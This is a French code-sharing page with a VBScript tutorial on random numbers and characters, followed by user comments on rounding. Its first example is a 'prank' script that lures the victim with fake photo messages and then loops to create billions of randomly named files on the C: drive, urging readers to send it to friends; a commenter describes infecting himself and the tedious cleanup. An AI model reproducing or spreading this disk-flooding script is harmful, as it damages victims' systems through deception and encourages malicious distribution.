Tuto sur la randomization en vbs

Soyez le premier à donner votre avis sur cette source.

Vue 7 639 fois - Téléchargée 262 fois

Description

voila j'ai mis plus d'une semaine pour bien comprendre tout sa alor que si il y avait un pti tuto comme je vien de faire sa m'aurai pri meme pas une journer

Source / Exemple :


'voila un pti programe pour faire une blague bien chiante o gen que vous aimer pas

msgbox "vous allez visionner la photo de vos reves etes vous prêt ??",Vbexclamation,""   ' afficher un message
msgbox "le format de cette photo n'est pas prise en charge",Vbcritical,""    'afficher un message
c = msgbox ("si la photo n'est pas apparue appuyez sur oui sinon sur non",VbyesNo,"") 'afficher un message
if c = Vbyes then    'verification de c ( par rapport à ce que aura fait la personne vis a vis du msgbox d'avant
for i = 1 to 50000000000   'le code va se répéter 50000000000 fois dès qu'il arrive à next il revient à cette ligne
Randomize     'initialisation de la randomization
a = Int((5555555555555555 * Rnd) + 1)     'écriture dans "a" de la random donc de 1 à 555555555555555  le + 1 est là pour eviter qu'il y ait 0
Set FSys = CreateObject("Scripting.FileSystemObject")   'creation de l'object pour creer un fichier
Set MonFic = FSys.CreateTextFile("c:\"&a&".txt")   'creation du fichier
next  'fin de la repetition
msgbox "vous venez de vous faire avoir lol"    'affiche du texte
end if    'fin de la parti si "c" etait égal à Vbyes
if c = Vbno then     ' si c et égale à no le script agit ici
msgbox "vous venez d'échapper à la blague bien joué"     'affichage d'un message
end if    'fin de la parti si "c" etait egal à Vbno
msgbox "si vous n'avez pas compris la blague recommencez" 'affichage d'un message
msgbox "faites tourner ce fichier à tous vos amis"  'affichage d'un message
msgbox "created by kickbar"  'affichage d'un message
if c = Vbyes then  verification de a
msgbox " ps : amusez vous bien à tout effacer mdr !!!!!! "  'affichage d'un message
end if  'fin de la partie si "a" egal à Vbyes

'bon pour ceux qui n'auraient pas compris, à part afficher des messages, il va creer des fichiers dans le lecteur c: et comme il va randomizer
'les noms des fichiers il va creer plein de fichiers avec des noms compris entre 1 et 5555555555555555 évidement j'ai mis .txt mais vous pouvez aussi mettre .&a& ce qui agrandit encore la possibilité des noms du fichier.

'alors maintenant on va voir comment randomizer des lettres

'bon avant ça vous allez avoir un petit cours sur le code ascii

'alors en premier qu'est-ce que c'est ? en fait je na sais pas, mdr, mais je peux vous expliquer comment s'en servir c'est déjà ça
'si d'ailleurs quelqu'un sait, quil me le dise je le mettrai dans l'explication.
'bon je commence : le code ascii est composé de 255 caractères et chaque caractere a son équivalent en décimal et hexadecimal
'bon, vous savez déjà compter en decimal même si se nom est barbare lol c'est 1 . 2 . 3 ect ....
'dans le zip j'ai mis le tableau du  code ascii avec à côté ses corespondances en décimales et hexa
'en fait le code ascii c'est les touches de votre clavier... et ouai c'est l'alphabet, les nombres, c'est tout quoi lol
'par exemple 48 en décimales est égal à 0 en ascii . Bon, si vous comprennez pas, regardez le tableau

'bon maintenant que l'on sait comment avoir un chifre au hasard on va apprendre à faire apparaitre des signes ascii au hasard

msgbox "on va prendre un symbole au pif" 'affiche un message
Randomize  'la random s'initialise
a = Int(( 254 * Rnd) + 1)  'le script va selectionner un chifre entre 1 et 255 et l'enregistrer dans "a"
b = b & Chr(a) 'c'est ici que la valeur en décimales va etre traduite en code acsii
msgbox b 'le caracter décimal transformé en ascii s'affiche ici

'bon voila, maintenant imaginons que vous vouliez quil n'y ait que des lettres en miniscules ou que en majuscules
'bin va falloir savoir entre quelle decimale ces lettres sont, donc pour les minuscules c'est entre les decimales 97 et 123
'pour les majuscules c'est entre 65 et 90.
'vous allez me dire : mais on peut pas selectionner un chifre entre 65 et 90,  bin si on peut c'est juste mathematique

msgbox "on va prendre une letre majuscule au pif" 'affiche un message
randomize 'la random s'initialise
a = Int((90 - 65 + 1) * Rnd + 65) 'bon si vous faites bien le calcul 90 - 65 + 1 ça nous donne 26, donc la random va selectionner un nombre entre 0 et 26 et si vous regardez bien 0 + 65 = 65 et 26 + 65 = 91
b = b & Chr (a)
msgbox b

'maintenant on fait çà pour les minuscules

msgbox "on va prendre une lettre miniscule au pif"
randomize
a = Int((122 - 97 + 1) * Rnd + 97)
b = b & Chr (a)
msgbox b

'maintenant pour les chiffres qui sont compris entre 48 et 57

msgbox "on va prendre un chifre au pif"
randomize
a = Int((57 - 48 + 1) * Rnd + 48)
b = b & Chr (a)
msgbox b

'et ainsi de suite, à vous de faire les calculs pour pouvoir avoir les caracteres que vous souhaitez

'bon maintenant on va voir comment randomizer plusieurs caracteres asci dans la meme variante

'imaginons que l'on veuille mettre plusieurs lettres randomizer dans une variante: bin ya juste à rajouter un truc, c'est pas bien dur

msgbox "on va prendre des lettres majuscules au pif"
for I = 1 to 5  ' c'est ici que l'on va choisir combien de lettres vont etre mises dans la variante , le 5 represente le nombre de fois que le code va etre executé ,si vous mettez 56 vous aurez 56 lettres
randomize
a = Int((90 - 65 + 1) * Rnd + 65)
b = b & Chr (a)
next  'ce next va montrer où la repetition doit s'arreter
msgbox b

'bon voila vous connaissez le béaba de la randomization, vous avez quelques sources sur ce site qui sont pas mal
'du style mélanger des majuscules, des minuscules et des chiffres dans une variante; je ne me rapelle plus de l'url, à vous de la chercher
'voila ce code sera mis à jour mais pas tout de suite; jespere bien que cela servira a quelqu'un

Conclusion :


voila j'espere que sa vous aura plus je pence que d'ici une ptite semaine je metrai cette source a jour voila j'atten vos commentaire
voila j'ai mi se tuto dans le zip pour se qu'on pas la chance d'avoir l'adsl ou nun truc illimiter

Codes Sources

A voir également

Ajouter un commentaire Commentaires
Messages postés
28
Date d'inscription
dimanche 2 janvier 2005
Statut
Membre
Dernière intervention
5 mai 2014

Script pas mal :)
Je viens de m'auto contaminer (la prochaine fois je lis j'usqu'à la fin avant d'executer) et j'avoue que c'est bien chiant !
Je viens de passer plus d'une demi heure pour tout virer car pour simplement acceder à c: c'est la galere.
En plus on ne peux pas tout supprimer d'un coup en faisant un ctrl a car un message d'erreur comme quoi il y a une erreur de lecture apparait.
Donc il faut tout virer par petit bout ...
Bref lancez ce script qu'à quelqu'un que vous aimez vraiment pas lol.
Je met 9/10 car rien n'est parfait (meme trés bon)
Messages postés
164
Date d'inscription
jeudi 6 mars 2003
Statut
Membre
Dernière intervention
9 octobre 2006

OK dsl, effectivement int retourne la partie entiere d'un nombre sans l'arrondir. Autant pour moi... et dsl a tous pour l'intox
Messages postés
62
Date d'inscription
dimanche 23 mars 2003
Statut
Membre
Dernière intervention
2 juin 2006

Heu non..
int(2.9999) = 2 et pas 3
Messages postés
164
Date d'inscription
jeudi 6 mars 2003
Statut
Membre
Dernière intervention
9 octobre 2006

sauf que si par malheur ton rnd*3 retourne au moins 2.5, tu auras 3, et en plus, tu nauras pas une chance egale de tirer chaque numero :
pour tirer 0, il te faudra un rnd*3 qui retourne un nombre dans la plage [0; 0.5[, mais pour tirer 1 (et c'est valable aussi pour 2) la plage de tirage sera [0.5; 1.5[, et là ou tu avais un intervalle de 0.5 pour tirer un 0, tu as un intervalle de 1 pour tirer 1 et 2. (et je ne traite pas le cas où Rnd*3 >= 2.5 où là tu as de nouveau un intervalle de 0.5 sachant aussi que dans le cas present, l'indice 3 provoquerai une erreur d'indice en dehors des limites)

En fait je me suis apercu ke la solution peut etre :
a = Int(0.5 + Rnd*2.99)-1
Car : de cette maniere, tous les indices ont une chance (a peu pres) egale d'etre tirés (plus vous ajouterez de 9 à 2.99 et plus les chances tendront vers l'egalité)
Messages postés
62
Date d'inscription
dimanche 23 mars 2003
Statut
Membre
Dernière intervention
2 juin 2006

si tu veux un [0-2] tu fais : a = int(rnd*3) c tout.......
Afficher les 14 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.